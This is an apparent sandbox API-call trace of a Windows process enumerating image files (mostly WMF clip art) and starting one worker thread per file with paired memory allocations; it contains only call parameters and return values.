	[0241.027] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1
	[0241.027] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c88
	[0241.097] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.097] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1
	[0241.097] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c94
	[0241.099] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.100] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1
	[0241.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c84
	[0241.102] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.103] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1
	[0241.103] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c98
	[0241.105] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.106] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1
	[0241.106] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c9c
	[0241.108] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.109] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1
	[0241.109] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ca0
	[0241.111] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.112] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1
	[0241.112] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ca4
	[0241.114] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.115] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1
	[0241.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ca8
	[0241.117] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.118] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1
	[0241.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cac
	[0241.120] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.120] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1
	[0241.120] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb0
	[0241.122] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.123] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1
	[0241.123] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb4
	[0241.125] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.125] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1
	[0241.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb8
	[0241.128] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.128] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1
	[0241.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cbc
	[0241.189] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.190] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1
	[0241.190] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc0
	[0241.191] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.192] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1
	[0241.192] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc4
	[0241.194] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.195] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1
	[0241.195] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc8
	[0241.197] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.197] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1
	[0241.197] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ccc
	[0241.200] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.200] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1
	[0241.200] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd0
	[0241.202] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.203] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1
	[0241.203] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd4
	[0241.205] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.205] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1
	[0241.206] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd8
	[0241.207] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.208] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1
	[0241.208] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cdc
	[0241.209] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.210] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1
	[0241.211] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce0
	[0241.214] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.214] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1
	[0241.214] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce4
	[0241.216] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.217] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1
	[0241.217] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce8
	[0241.219] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.219] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1
	[0241.220] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cec
	[0241.222] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.222] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1
	[0241.222] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf0
	[0241.266] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.267] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1
	[0241.267] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf4
	[0241.269] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
